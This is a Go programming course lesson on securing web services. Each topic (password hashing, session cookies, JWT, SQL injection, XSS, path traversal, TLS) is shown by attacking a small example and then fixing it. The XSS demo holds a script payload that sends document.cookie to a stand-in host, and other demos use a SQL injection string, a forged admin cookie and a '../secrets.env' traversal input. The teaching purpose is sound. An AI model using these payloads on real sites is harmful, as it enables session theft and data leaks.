SyntaxPilot
Courses/Go Programming/Lesson 66
Video coming soonThis lesson’s video is being made

Start with the notes below; the video appears here as soon as it is on YouTube.

Go Programming · Lesson 66 of 89

Securing Go services

password hashing with golang.org/x/crypto/bcrypt and argon2sessions and secure cookiesJWT verificationAPI keysgolang.org/x/oauth2crypto/tls configurationcrypto/rand vs math/randhtml/template auto-escapingSQL injection prevention with placeholderspath traversal and os.Root (Go 1.24)input size limitssecurity headersgovulncheck

These are the notes for Go episode 66. Raju's API works; now we attack it the way real attackers do and close every hole with Go's own tools. A leaked backup cracks SHA-256 password hashes in a blink, so we invent salted, slow hashes (bcrypt, Argon2id). An edited user=admin cookie opens the sales page, so we invent server-side sessions with random tokens and safe cookie flags. A seeded math/rand generator lets the attacker predict every token, so secrets come from crypto/rand. We look inside a JWT to see how its signature and expiry protect it, meet API keys and OAuth 2.0, then stop the three classic attacks: SQL injection (placeholders), XSS (html/template) and path traversal (os.Root). Finally TLS, security headers, input size limits and govulncheck.

All outputs are from real runs (Go 1.24.7, linux/amd64). golang.org/x/crypto v0.48.0 and github.com/mattn/go-sqlite3 v1.14.32 were served by tools/goproxy_x.sh (a local module proxy built from the modules' GitHub mirrors; v0.48.0 is the newest x/crypto whose go.mod accepts Go 1.24). Hashes, salts, tokens, timings and ports change on every run.

Facts and sources

  • OWASP Password Storage Cheat Sheet (cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html): "Use Argon2id with a minimum configuration of 19 MiB of memory, an iteration count of 2, and 1 degree of parallelism" (listed as m=19456 (19 MiB), t=2, p=1); for bcrypt "The work factor should be as large as verification server performance will allow, with a minimum of 10"; enforce a maximum password length of 72 bytes for bcrypt; "A salt is a unique, randomly generated string that is added to each password as part of the hashing process"; "Peppering is a class of strategies that can be used in addition to salting to provide an additional layer of protection"; "Fast hashing algorithms such as SHA-256 are not suitable for password storage" because "they allow attackers to perform large numbers of guesses quickly".
  • go doc golang.org/x/crypto/bcrypt (v0.48.0): "Package bcrypt implements Provos and Mazières's bcrypt adaptive hashing algorithm"; ErrPasswordTooLong = errors.New("bcrypt: password length exceeds 72 bytes"); ErrMismatchedHashAndPassword = errors.New("crypto/bcrypt: hashedPassword is not the hash of the given password"); "GenerateFromPassword does not accept passwords longer than 72 bytes, which is the longest password bcrypt will operate on."
  • go doc golang.org/x/crypto/argon2 (v0.48.0): "Argon2 was selected as the winner of the Password Hashing Competition and can be used to derive cryptographic keys from passwords"; "If you aren't sure which function you need, use Argon2id (IDKey)"; for IDKey, "The time parameter specifies the number of passes over the memory and the memory parameter specifies the size of the memory in KiB" and "Remember to get a good random salt."
  • go doc os.Root (Go 1.24.7): "Root may be used to only access files within a single directory tree. Methods on Root can only access files and directories beneath a root directory. If any component of a file name passed to a method of Root references a location outside the root, the method returns an error." Symbolic links are followed but "may not reference a location outside the root". os.OpenRoot is listed in api/go1.24.txt (new in Go 1.24).
  • go doc crypto/tls.Config (Go 1.24.7), MinVersion: "By default, TLS 1.2 is currently used as the minimum. TLS 1.0 is the minimum supported by this package."
  • net/http source: const DefaultMaxHeaderBytes = 1 << 20 // 1 MB.
  • RFC 7519 (datatracker.ietf.org/doc/html/rfc7519, May 2015): "JSON Web Token (JWT) is a compact, URL-safe means of representing claims to be transferred between two parties." The "exp" (expiration time) claim "identifies the expiration time on or after which the JWT MUST NOT be accepted for processing."
  • golang-jwt/jwt README: a Go "implementation of JSON Web Tokens"; it keeps backward compatibility with the older github.com/dgrijalva/jwt-go.
  • golang/oauth2 README: "oauth2 package contains a client implementation for OAuth 2.0 spec."
  • govulncheck (pkg.go.dev/golang.org/x/vuln/cmd/govulncheck and the Go govulncheck tutorial): "Govulncheck reports known vulnerabilities that affect Go code"; it uses static analysis to narrow reports "to only those that could affect the application"; it queries the Go vulnerability database at https://vuln.go.dev by default; install with go install golang.org/x/vuln/cmd/govulncheck@latest, run govulncheck ./....
  • Everything else comes from the real runs below.

Storing passwords

The leak

Assume your database will leak one day (a backup copied to a shared drive, a stolen laptop, a misconfigured server). The question is what an attacker can do with it. If passwords are stored in plain text (exactly as typed), they read every one, and because people reuse passwords, they try them on email and bank accounts too.

The obvious fix is a hash function: it turns any text into a fixed-size fingerprint and can't be run backwards. SHA-256 is a famous one (256-bit output, written as 64 hex characters). At login you hash what was typed and compare. Real-life example: instead of keeping a copy of every house key, you keep a photo of each key's shape.

Attacking SHA-256

package main

import (
    "crypto/sha256"
    "fmt"
    "time"
)

func hash(pw string) string { return fmt.Sprintf("%x", sha256.Sum256([]byte(pw))) }

func main() {
    // the obvious fix for plain-text passwords: store a SHA-256 hash instead
    db := map[string]string{"asha": hash("chai123"), "ravi": hash("chai123"), "neha": hash("Neha@1998")}
    users := []string{"asha", "ravi", "neha"}
    for _, u := range users {
        fmt.Println(u, db[u][:16]+"...")
    }

    // the database leaks. The attacker tries a list of common passwords.
    common := []string{"123456", "password", "chai123", "qwerty", "Neha@1998"}
    for _, guess := range common {
        for _, u := range users {
            if hash(guess) == db[u] {
                fmt.Printf("cracked %s: %q\n", u, guess)
            }
        }
    }

    // how fast can one CPU core guess?
    start, n := time.Now(), 0
    for time.Since(start) < time.Second {
        sha256.Sum256([]byte(fmt.Sprint("guess", n)))
        n++
    }
    fmt.Printf("guesses per second on 1 core: %d\n", n)
}
asha 38e5d047a17125c3...
ravi 38e5d047a17125c3...
neha ea0398f85b147803...
cracked asha: "chai123"
cracked ravi: "chai123"
cracked neha: "Neha@1998"
guesses per second on 1 core: 3911298

(A second run on the same machine printed 2549414 guesses per second while another program was busy: millions either way.)

Two problems:

  1. Same password, same hash. Asha and Ravi both chose chai123, so their hashes are identical: crack one, crack both. Attackers also keep huge precomputed tables of hashes of common passwords.
  2. SHA-256 is fast. It was designed to hash gigabytes quickly, so it's equally fast for an attacker trying a list of common passwords (a dictionary attack). One core here tried millions of guesses a second.

The fix: salt + a slow hash

Real-life example: every family makes dal with its own masala mix, so the same dal tastes different in every house. A salt is random bytes, different for every user, added to the password before hashing and stored next to the hash (it isn't secret). Now equal passwords give different hashes, and precomputed tables are useless.

A salt alone isn't enough: a salted SHA-256 is still millions of guesses a second. So we also make each guess slow, like a lock that takes a second to turn: one login waits a moment, an attacker with millions of guesses waits years. The slowness is set by a cost (also called a work factor). Argon2id also makes each guess need a big block of memory (memory-hard), so attackers can't simply run millions of guesses side by side on cheap chips.

A pepper (OWASP) is an extra secret, kept outside the database (for example in a secrets manager), mixed into every password hash, so a database-only leak isn't enough. It's an addition to salting, not a replacement.

bcrypt

main.go:

package main

import (
    "fmt"
    "strings"
    "time"

    "golang.org/x/crypto/bcrypt"
)

func main() {
    for _, user := range []string{"asha", "ravi"} { // same password, chai123
        start := time.Now()
        h, _ := bcrypt.GenerateFromPassword([]byte("chai123"), 12) // cost 12
        fmt.Printf("%s %s  (%v)\n", user, h, time.Since(start).Round(time.Millisecond))
    }

    h, _ := bcrypt.GenerateFromPassword([]byte("chai123"), 12)
    fmt.Println("login chai123:", bcrypt.CompareHashAndPassword(h, []byte("chai123")))
    fmt.Println("login chai124:", bcrypt.CompareHashAndPassword(h, []byte("chai124")))

    long := strings.Repeat("a", 73) // 73 bytes
    _, err := bcrypt.GenerateFromPassword([]byte(long), 12)
    fmt.Println("73-byte password:", err)
}

go.mod:

module shop

go 1.24

require golang.org/x/crypto v0.48.0
asha $2a$12$BuZRqftESwzshIGkSjLuwuH0qmmrYk/8biwRUU8C7qoT4QKPFCZtO  (348ms)
ravi $2a$12$gRJ8Qju/XpKzkQui/FvCI.7nnNhKiCHL.phkrWstAqqmcdxza4HOK  (317ms)
login chai123: <nil>
login chai124: crypto/bcrypt: hashedPassword is not the hash of the given password
73-byte password: bcrypt: password length exceeds 72 bytes
  • The result is one string: $2a$ = the bcrypt version, 12 = the cost, then 22 characters of salt and the hash. GenerateFromPassword makes the salt itself; CompareHashAndPassword reads the salt and cost back out of the stored string.
  • Same password, two completely different hashes (salted), each about a third of a second at cost 12 on this machine: millions of guesses a second become about three. Each +1 of cost doubles the time.
  • OWASP: cost at least 10, as high as your servers allow.
  • bcrypt only looks at the first 72 bytes, and this version of x/crypto refuses longer passwords with bcrypt: password length exceeds 72 bytes. Limit the length at sign-up (bytes, not characters: ₹ is 3 bytes in UTF-8).

Argon2id

main.go:

package main

import (
    "crypto/rand"
    "crypto/subtle"
    "encoding/base64"
    "fmt"
    "time"

    "golang.org/x/crypto/argon2"
)

const t, m, p = 2, 19 * 1024, 1 // OWASP minimum: 2 passes, 19 MiB, 1 thread

func hashPassword(pw string) (salt, key []byte) {
    salt = make([]byte, 16)
    rand.Read(salt) // a fresh random salt for every password
    return salt, argon2.IDKey([]byte(pw), salt, t, m, p, 32)
}

func check(pw string, salt, key []byte) bool {
    again := argon2.IDKey([]byte(pw), salt, t, m, p, 32)
    return subtle.ConstantTimeCompare(again, key) == 1 // same time for every mismatch
}

func main() {
    start := time.Now()
    salt, key := hashPassword("chai123")
    b64 := base64.RawStdEncoding.EncodeToString
    fmt.Printf("$argon2id$v=19$m=%d,t=%d,p=%d$%s$%s\n", m, t, p, b64(salt), b64(key))
    fmt.Println("took", time.Since(start).Round(time.Millisecond))
    fmt.Println("chai123:", check("chai123", salt, key), "| chai124:", check("chai124", salt, key))
}

go.mod:

module shop

go 1.24

require golang.org/x/crypto v0.48.0
$argon2id$v=19$m=19456,t=2,p=1$H+ITdWhFo9OU9WJgnbxUhw$XIMUrM4L1eG7GvwqvElvwdIPrssen887knad6n3Vp4s
took 42ms
chai123: true | chai124: false
  • argon2.IDKey(password, salt, time, memory, threads, keyLen): time = passes over the memory, memory in KiB (kibibytes, 1024 bytes; 19 × 1024 KiB = 19 MiB, mebibytes), threads = parallelism.
  • We store all the settings with the salt and key in one string (the common $argon2id$v=19$m=...,t=...,p=...$salt$key format), so you can raise the settings later and still check old hashes.
  • check recomputes with the stored salt and compares with subtle.ConstantTimeCompare, which takes the same time wherever the bytes differ. A normal ==/bytes.Equal stops at the first difference, and an attacker measuring response times (a timing attack) could learn how many bytes matched.

Rule: Argon2id (m=19 MiB, t=2, p=1 or more) or bcrypt (cost ≥ 10). Never plain text, never a plain or salted fast hash like SHA-256 or MD5.

Sessions and cookies

Real-life example: at a wedding you show your invite once at the gate (that's login: the password is checked once), then get a wristband you show at every food counter. On the web that wristband is a cookie: a small name=value the server asks the browser to store (Set-Cookie header) and send back with every request (Cookie header). But a wristband that just says "VIP" in marker can be written by anyone.

package main

import (
    "fmt"
    "net/http"
    "net/http/httptest"
)

func login(w http.ResponseWriter, user string) {
    http.SetCookie(w, &http.Cookie{Name: "user", Value: user}) // "remember who logged in"
}

func sales(w http.ResponseWriter, r *http.Request) {
    c, err := r.Cookie("user")
    if err != nil || c.Value != "admin" {
        http.Error(w, "forbidden", http.StatusForbidden)
        return
    }
    fmt.Fprintln(w, "today's sales: ₹4,250")
}

func main() {
    rec := httptest.NewRecorder()
    login(rec, "asha")
    fmt.Println("Set-Cookie:", rec.Header().Get("Set-Cookie"))

    for _, cookie := range []string{"user=asha", "user=admin"} {
        req := httptest.NewRequest("GET", "/admin/sales", nil)
        req.Header.Set("Cookie", cookie) // the browser sends it back... or the attacker does
        rec := httptest.NewRecorder()
        sales(rec, req)
        fmt.Printf("Cookie: %-12s %d %s", cookie, rec.Code, rec.Body)
    }
}
Set-Cookie: user=asha
Cookie: user=asha    403 forbidden
Cookie: user=admin   200 today's sales: ₹4,250

The attacker didn't need a password. Cookies live on the user's computer, and the user (or any script or tool) can send anything. A cookie's content is user input.

The fix: a random session token, kept on the server

A session is the server's memory of a logged-in user. The cookie holds only a session token: a long random value with no meaning, and the server keeps the table token → user. Real-life example: a wristband with a random barcode, and the gate's own list says who it belongs to.

package main

import (
    "crypto/rand"
    "fmt"
    "net/http"
    "net/http/httptest"
)

var sessions = map[string]string{} // session token -> user name, kept on the SERVER

func login(w http.ResponseWriter, user string) {
    token := rand.Text() // 26 random characters from crypto/rand
    sessions[token] = user
    http.SetCookie(w, &http.Cookie{Name: "session", Value: token, Path: "/", MaxAge: 3600,
        HttpOnly: true,                 // page JavaScript can't read it
        Secure:   true,                 // only sent over HTTPS
        SameSite: http.SameSiteLaxMode, // not sent on most cross-site requests
    })
}

func sales(w http.ResponseWriter, r *http.Request) {
    c, err := r.Cookie("session")
    if err != nil || sessions[c.Value] != "admin" {
        http.Error(w, "forbidden", http.StatusForbidden)
        return
    }
    fmt.Fprintln(w, "today's sales: ₹4,250")
}

func main() {
    rec := httptest.NewRecorder()
    login(rec, "admin") // the real admin logs in with a password
    fmt.Println("Set-Cookie:", rec.Header().Get("Set-Cookie"))
    real := "session=" + rec.Result().Cookies()[0].Value

    for _, cookie := range []string{"user=admin", "session=admin", "session=" + rand.Text(), real} {
        req := httptest.NewRequest("GET", "/admin/sales", nil)
        req.Header.Set("Cookie", cookie) // the attacker edits the cookie
        rec := httptest.NewRecorder()
        sales(rec, req)
        fmt.Printf("%-40s %d %s", cookie, rec.Code, rec.Body)
    }
}
Set-Cookie: session=OYVWL6E3FOA7G6NOTB6WN27WU4; Path=/; Max-Age=3600; HttpOnly; Secure; SameSite=Lax
user=admin                               403 forbidden
session=admin                            403 forbidden
session=2WCSMHUXOXACQ2OCKA5DNWXRVH       403 forbidden
session=OYVWL6E3FOA7G6NOTB6WN27WU4       200 today's sales: ₹4,250

crypto/rand.Text() returns 26 base32 characters (130 bits), so there are about 1.4 × 10³⁹ possible tokens: guessing is hopeless. The four cookie protections:

Attribute Meaning Stops
HttpOnly JavaScript in the page can't read the cookie (document.cookie doesn't show it) an XSS script stealing the session
Secure only sent over HTTPS someone on the network reading it
SameSite=Lax not sent on most requests started by other sites (for example a form on another site posting to yours) most CSRF
Max-Age=3600 the browser deletes it after an hour (and the server should expire the session too) old stolen cookies working forever

CSRF (cross-site request forgery): an evil page makes your browser send a request to Raju's site, for example a hidden form that POSTs to /orders/cancel, and the browser would attach your cookie automatically. SameSite=Lax stops the cookie on those cross-site POSTs. Two more rules: never change anything with a GET request (a link click is a GET), and for extra safety use a per-session CSRF token in forms.

Logout must delete the session on the server (removing the cookie in the browser isn't enough: someone who copied the token could still use it). The mini project does this.

crypto/rand vs math/rand

math/rand is a pseudo-random number generator (PRNG): a formula that turns a starting number, the seed, into numbers that look random. Same seed in, same numbers out, by design (useful for games and simulations you want to replay).

package main

import (
    crand "crypto/rand"
    "fmt"
    "math/rand/v2"
)

func main() {
    // math/rand: a formula. Same seed in, same numbers out.
    shop := rand.New(rand.NewPCG(2026, 11)) // the server's generator
    attacker := rand.New(rand.NewPCG(2026, 11)) // the attacker guessed the seed
    for i := 0; i < 3; i++ {
        fmt.Printf("server token %06d | attacker predicts %06d\n", shop.IntN(1000000), attacker.IntN(1000000))
    }
    // crypto/rand: from the operating system, made to be unpredictable
    fmt.Println("crypto/rand token:", crand.Text())
    fmt.Println("crypto/rand token:", crand.Text())
}
server token 366339 | attacker predicts 366339
server token 334146 | attacker predicts 334146
server token 930946 | attacker predicts 930946
crypto/rand token: ZPDDVJZ6RJKFCPTSXUHXKO5FQ5
crypto/rand token: TEZGJGVNS6ZMPKGM63ZGCYSVEK

The attacker who knows (or guesses) the seed predicts every token. crypto/rand is a CSPRNG (cryptographically secure PRNG): it reads the operating system's secure random source and is built to be unpredictable. Real-life example: math/rand is a shuffled deck that's always shuffled the same way from the same starting order; crypto/rand is a fresh dice roll.

Rule: math/rand for games, shuffling and simulations; crypto/rand for tokens, keys, salts, passwords, nonces, anything secret.

Tokens: JWT

Sessions need a table on the server. A JWT (JSON Web Token), RFC 7519, is "a compact, URL-safe means of representing claims to be transferred between two parties". Real-life example: a boarding pass. It lists your name, seat and flight (anyone can read it), and carries a stamp only the airline can make; the gate checks the stamp without phoning the airline, and it's valid only for today's flight.

  • Claims are facts in the token's payload: sub (subject, who it's about), role, exp (expiry, Unix seconds).
  • A JWT is three base64url-encoded parts joined by dots: header.payload.signature. Base64url is base64 with - and _ instead of + and / and no = padding, so it's safe in URLs. It is encoding, not encryption: anyone can decode and read the claims. Never put secrets in a JWT.
  • HS256 = HMAC-SHA256: a keyed hash that only someone with the server's secret can produce. The signature is the HMAC of header.payload.
  • Verification needs no database: stateless.

To see what a library does inside, here's a minimal HS256 signer and verifier with only the standard library:

package main

import (
    "crypto/hmac"
    "crypto/sha256"
    "encoding/base64"
    "encoding/json"
    "errors"
    "fmt"
    "strings"
    "time"
)

var secret = []byte("raju-server-secret-keep-out-of-git")
var b64 = base64.RawURLEncoding

func sign(claims map[string]any) string {
    head := b64.EncodeToString([]byte(`{"alg":"HS256","typ":"JWT"}`))
    body, _ := json.Marshal(claims)
    msg := head + "." + b64.EncodeToString(body)
    mac := hmac.New(sha256.New, secret)
    mac.Write([]byte(msg))
    return msg + "." + b64.EncodeToString(mac.Sum(nil)) // header.payload.signature
}

func verify(tok string) (map[string]any, error) {
    parts := strings.Split(tok, ".")
    if len(parts) != 3 || parts[0] != b64.EncodeToString([]byte(`{"alg":"HS256","typ":"JWT"}`)) {
        return nil, errors.New("bad token format or algorithm")
    }
    mac := hmac.New(sha256.New, secret)
    mac.Write([]byte(parts[0] + "." + parts[1]))
    sig, _ := b64.DecodeString(parts[2])
    if !hmac.Equal(sig, mac.Sum(nil)) { // constant-time comparison
        return nil, errors.New("signature mismatch: token was changed")
    }
    var c map[string]any
    body, _ := b64.DecodeString(parts[1])
    json.Unmarshal(body, &c)
    if exp, _ := c["exp"].(float64); time.Now().Unix() >= int64(exp) {
        return nil, errors.New("token expired")
    }
    return c, nil
}

func main() {
    tok := sign(map[string]any{"sub": "asha", "role": "staff", "exp": time.Now().Add(15 * time.Minute).Unix()})
    fmt.Println(tok)
    parts := strings.Split(tok, ".")
    evil := parts[0] + "." + b64.EncodeToString([]byte(`{"exp":9999999999,"role":"admin","sub":"asha"}`)) + "." + parts[2]
    old := sign(map[string]any{"sub": "asha", "role": "staff", "exp": time.Now().Add(-time.Minute).Unix()})
    for _, t := range []string{tok, evil, old} {
        c, err := verify(t)
        fmt.Println("claims:", c, "| error:", err)
    }
}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ1OTIxNjMsInJvbGUiOiJzdGFmZiIsInN1YiI6ImFzaGEifQ.sykhNu-JE0jYDzkGmemvaAIE7TMYW6XnmlCAVg-0dIQ
claims: map[exp:1.794592163e+09 role:staff sub:asha] | error: <nil>
claims: map[] | error: signature mismatch: token was changed
claims: map[] | error: token expired
  • The attacker changed the payload to role: admin but can't make the matching signature without the secret: rejected.
  • The expired token is rejected even though its signature is fine.
  • exp printed as 1.794592163e+09 because encoding/json decodes numbers into any as float64.
  • verify checks the header too: it only accepts exactly the algorithm we use. Never let the token's own header choose how it's verified.
  • hmac.Equal compares in constant time.

In production use a well-tested library such as github.com/golang-jwt/jwt (v5), and tell it the one algorithm you expect. Trade-off: a JWT stays valid until exp, even after logout, because nothing is stored on the server. Keep lifetimes short (for example 15 minutes) and keep a server-side session or refresh mechanism if you need instant logout.

API keys

Programs calling your API (a delivery partner's server, a script) use an API key: a long random secret, sent in the Authorization header. Treat it like a password: store only its hash, compare in constant time, show it to the owner once, and let them replace it (rotation) if it leaks. Because API keys are long and random (not human-chosen), a fast hash like SHA-256 is fine for them; the slow hashes are for human passwords.

package main

import (
    "crypto/rand"
    "crypto/sha256"
    "crypto/subtle"
    "fmt"
    "net/http"
    "net/http/httptest"
    "strings"
)

// We store only the SHA-256 of each key (keys are long and random, so a fast hash is fine here).
var keyHashes = map[[32]byte]string{}

func newKey(owner string) string {
    key := "rk_" + rand.Text() // shown to the owner ONCE
    keyHashes[sha256.Sum256([]byte(key))] = owner
    return key
}

func requireAPIKey(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        key, ok := strings.CutPrefix(r.Header.Get("Authorization"), "Bearer ")
        sum := sha256.Sum256([]byte(key))
        for h, owner := range keyHashes {
            if ok && subtle.ConstantTimeCompare(h[:], sum[:]) == 1 {
                fmt.Fprintf(w, "hello %s: ", owner)
                next.ServeHTTP(w, r)
                return
            }
        }
        http.Error(w, "invalid API key", http.StatusUnauthorized)
    })
}

func main() {
    key := newKey("delivery-partner")
    fmt.Println("new key (shown once):", key)
    h := requireAPIKey(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, "3 orders ready") }))
    for _, auth := range []string{"", "Bearer rk_guess", "Bearer " + key} {
        req := httptest.NewRequest("GET", "/v1/orders?status=ready", nil)
        req.Header.Set("Authorization", auth)
        rec := httptest.NewRecorder()
        h.ServeHTTP(rec, req)
        fmt.Printf("%d %s", rec.Code, rec.Body)
    }
}
new key (shown once): rk_CMHDZ3TUD23XG73CARM3TXBX7B
401 invalid API key
401 invalid API key
200 hello delivery-partner: 3 orders ready

The rk_ prefix makes leaked keys easy to recognise (for example by secret scanners).

OAuth 2.0

When an app wants to act for a user on another service (for example "sign in with an account you already have", or "let this app read my calendar"), it must never ask for that user's password on the other service. OAuth 2.0 solves this with delegated access. Real-life example: a valet key for a car, which drives the car but can't open the boot.

The authorization-code flow, in plain words:

  1. Your app sends the user's browser to the other service's login page, saying which app is asking and what access it wants (the "scope").
  2. The user logs in there and approves.
  3. The other service sends the browser back to your app with a short-lived one-time code.
  4. Your server exchanges the code (plus your app's own client secret) for an access token, directly with the other service.
  5. Your server uses the access token to call the other service's API, within the approved scope.

Your app never sees the password, and the user can revoke the access later. In Go, golang.org/x/oauth2 is "a client implementation for OAuth 2.0 spec".

SQL injection

SQL is the language for asking a database questions (SELECT ... FROM ... WHERE ...). Real-life example: a clerk reads the name box of a form out loud as part of an order to the kitchen; someone writes "x, and give me everything", and the kitchen obeys. When user text is glued into SQL, the data becomes part of the command: SQL injection.

main.go:

package main

import (
    "database/sql"
    "fmt"

    _ "github.com/mattn/go-sqlite3" // the SQLite driver
)

func main() {
    db, _ := sql.Open("sqlite3", ":memory:")
    db.Exec(`CREATE TABLE customers (name TEXT, phone TEXT);
             INSERT INTO customers VALUES ('asha','98100 11111'), ('ravi','98100 22222'), ('neha','98100 33333');`)

    for _, input := range []string{"asha", "x' OR '1'='1"} { // what the user typed in the search box
        q := fmt.Sprintf("SELECT name, phone FROM customers WHERE name = '%s'", input) // gluing text into SQL
        fmt.Println("SQL:", q)
        rows, _ := db.Query(q)
        for rows.Next() {
            var name, phone string
            rows.Scan(&name, &phone)
            fmt.Println("   ", name, phone)
        }
        rows.Close()
    }

    var n int // the fix: a placeholder. The input is sent as DATA, never as SQL.
    db.QueryRow("SELECT COUNT(*) FROM customers WHERE name = ?", "x' OR '1'='1").Scan(&n)
    fmt.Println("with a placeholder, rows found:", n)
}

go.mod:

module shop

go 1.24

require github.com/mattn/go-sqlite3 v1.14.32
SQL: SELECT name, phone FROM customers WHERE name = 'asha'
    asha 98100 11111
SQL: SELECT name, phone FROM customers WHERE name = 'x' OR '1'='1'
    asha 98100 11111
    ravi 98100 22222
    neha 98100 33333
with a placeholder, rows found: 0

The attacker's ' closed our string and OR '1'='1' (always true) became SQL: every customer and phone number leaked. With a placeholder (?; PostgreSQL drivers use $1, $2), the SQL and the value travel to the database separately, so the input can only ever be a name: 0 rows. Escaping quotes yourself, %q, or trimming do not make gluing safe. Placeholders are for values only; table or column names that come from users must be checked against a fixed list. (database/sql and drivers in detail: next episode.)

XSS and html/template

XSS (cross-site scripting): an attacker's text is placed into your page and runs as code in other visitors' browsers, on your site, with access to the page (and to any cookie without HttpOnly). Real-life example: a notice board where someone pins up a "notice" that is really a recorded announcement playing to everyone who walks past.

package main

import (
    htmltpl "html/template"
    "os"
    texttpl "text/template"
)

const page = `<p>Review by {{.Name}}: {{.Text}}</p>
<a href="{{.Site}}">their website</a>
`

type Review struct{ Name, Text, Site string }

func main() {
    r := Review{ // typed into the review form by a visitor
        Name: "Vikram",
        Text: `Great chai! <script>fetch("https://evil.example/?c="+document.cookie)</script>`,
        Site: `javascript:alert("hacked")`,
    }
    os.Stdout.WriteString("text/template:\n")
    texttpl.Must(texttpl.New("t").Parse(page)).Execute(os.Stdout, r) // plain text: copies as-is

    os.Stdout.WriteString("\nhtml/template:\n")
    htmltpl.Must(htmltpl.New("h").Parse(page)).Execute(os.Stdout, r) // escapes by context
}
text/template:
<p>Review by Vikram: Great chai! <script>fetch("https://evil.example/?c="+document.cookie)</script></p>
<a href="javascript:alert("hacked")">their website</a>

html/template:
<p>Review by Vikram: Great chai! &lt;script&gt;fetch(&#34;https://evil.example/?c=&#34;&#43;document.cookie)&lt;/script&gt;</p>
<a href="#ZgotmplZ">their website</a>
  • text/template copies values as-is: every reader would run the script.
  • html/template escapes values (replaces special characters with safe codes like &lt; for <), and does it by context (contextual escaping): HTML text, attributes, URLs, JavaScript and CSS each get the right escaping. In the href it replaced the javascript: URL with #ZgotmplZ, its marker for "an unsafe value was blocked here".
  • Rule: generate HTML only with html/template (never by concatenating strings), and add a Content-Security-Policy header as a second wall.

Path traversal and os.Root

.. means "the parent folder". Path traversal is asking for a file name like ../secrets.env to walk out of the folder the server meant to serve. Real-life example: a librarian told "fetch book ../manager's drawer/salaries" who walks straight out of the library into the office.

package main

import (
    "fmt"
    "io"
    "os"
    "path/filepath"
)

func main() {
    // set up: menus the app may download, and a secret one level up
    os.MkdirAll("shop/menus", 0o755)
    os.WriteFile("shop/menus/today.txt", []byte("chai ₹20, samosa ₹15"), 0o644)
    os.WriteFile("shop/secrets.env", []byte("DB_PASSWORD=raju@123"), 0o600)

    for _, name := range []string{"today.txt", "../secrets.env"} { // ?file=... from the URL
        // the obvious way: join the folder and the name
        b, err := os.ReadFile(filepath.Join("shop/menus", name))
        fmt.Printf("Join  %-15s -> %q %v\n", name, b, err)

        // the fix (Go 1.24): os.Root can't leave its directory
        root, _ := os.OpenRoot("shop/menus")
        f, err := root.Open(name)
        if err == nil {
            b, _ = io.ReadAll(f)
            f.Close()
        } else {
            b = nil
        }
        fmt.Printf("Root  %-15s -> %q %v\n", name, b, err)
        root.Close()
    }
}
Join  today.txt       -> "chai ₹20, samosa ₹15" <nil>
Root  today.txt       -> "chai ₹20, samosa ₹15" <nil>
Join  ../secrets.env  -> "DB_PASSWORD=raju@123" <nil>
Root  ../secrets.env  -> "" openat ../secrets.env: path escapes from parent

filepath.Join("shop/menus", "../secrets.env") cleans the path to shop/secrets.env, so the obvious code read the database password. os.Root (Go 1.24) only allows names inside its directory: path escapes from parent. It also refuses symbolic links (files that point to another path) that lead outside. Open the root once at startup, use root.Open, root.Create, root.OpenFile, and use it whenever a file name comes from a request.

TLS and security headers

Plain HTTP is a postcard: everyone on the network path can read the cookies and passwords. TLS (Transport Layer Security) is a sealed, tamper-proof envelope: it encrypts the connection, and the server's certificate (a signed digital ID card) proves you're talking to the real server. HTTP over TLS is HTTPS. The opening exchange where both sides agree on the version and keys is the handshake. TLS 1.0 and 1.1 are old and weaker; crypto/tls already uses TLS 1.2 as its default minimum, and setting MinVersion makes it explicit (and lets you require TLS 1.3).

package main

import (
    "crypto/tls"
    "fmt"
    "net/http"
    "net/http/httptest"
)

func secureHeaders(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        h := w.Header()
        h.Set("Strict-Transport-Security", "max-age=31536000") // HTTPS only, for a year
        h.Set("X-Content-Type-Options", "nosniff")             // don't guess content types
        h.Set("Content-Security-Policy", "default-src 'self'") // scripts only from our site
        h.Set("X-Frame-Options", "DENY")                       // no framing (clickjacking)
        next.ServeHTTP(w, r)
    })
}

func main() {
    menu := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Fprint(w, "chai ₹20") })
    srv := httptest.NewUnstartedServer(secureHeaders(menu))
    srv.TLS = &tls.Config{MinVersion: tls.VersionTLS12} // refuse TLS 1.0 and 1.1
    srv.StartTLS()
    defer srv.Close()

    for _, max := range []uint16{tls.VersionTLS11, tls.VersionTLS13} {
        client := srv.Client() // trusts the test server's certificate
        cfg := client.Transport.(*http.Transport).TLSClientConfig
        cfg.MinVersion, cfg.MaxVersion = tls.VersionTLS10, max // an old phone: TLS 1.0 to max
        resp, err := client.Get(srv.URL)
        if err != nil {
            fmt.Printf("client up to %s: %v\n", tls.VersionName(max), err)
            continue
        }
        fmt.Printf("client up to %s: %s via %s\n", tls.VersionName(max), resp.Status, tls.VersionName(resp.TLS.Version))
        for _, k := range []string{"Strict-Transport-Security", "X-Content-Type-Options", "Content-Security-Policy", "X-Frame-Options"} {
            fmt.Printf("   %s: %s\n", k, resp.Header.Get(k))
        }
        resp.Body.Close()
    }
}
client up to TLS 1.1: Get "https://127.0.0.1:34613": remote error: tls: protocol version not supported
2026/11/13 17:35:02 http: TLS handshake error from 127.0.0.1:55128: tls: client offered only unsupported versions: [302 301]
client up to TLS 1.3: 200 OK via TLS 1.3
   Strict-Transport-Security: max-age=31536000
   X-Content-Type-Options: nosniff
   Content-Security-Policy: default-src 'self'
   X-Frame-Options: DENY

[302 301] are the TLS 1.1 and 1.0 version numbers in hex (0x0302, 0x0301). The client had to set its own MinVersion to TLS 1.0 to even offer them, because Go's client also defaults to a TLS 1.2 minimum. (The server's log line and the client's line are printed by different goroutines, so their order can vary between runs.)

Security headers

Header Value used What it tells the browser
Strict-Transport-Security (HSTS) max-age=31536000 use only HTTPS for this site for a year, even if someone types http://
X-Content-Type-Options nosniff don't guess the content type; trust Content-Type
Content-Security-Policy (CSP) default-src 'self' load scripts, styles and images only from our own site: a second wall against XSS
X-Frame-Options DENY never show this site inside a frame on another site, which blocks clickjacking (tricking users into clicking buttons of an invisible framed page)

Set them in one middleware (episode 64) so every route gets them.

Input size limits

  • Bodies: http.MaxBytesReader(w, r.Body, n) (episode 65): reading past n fails with http: request body too large.
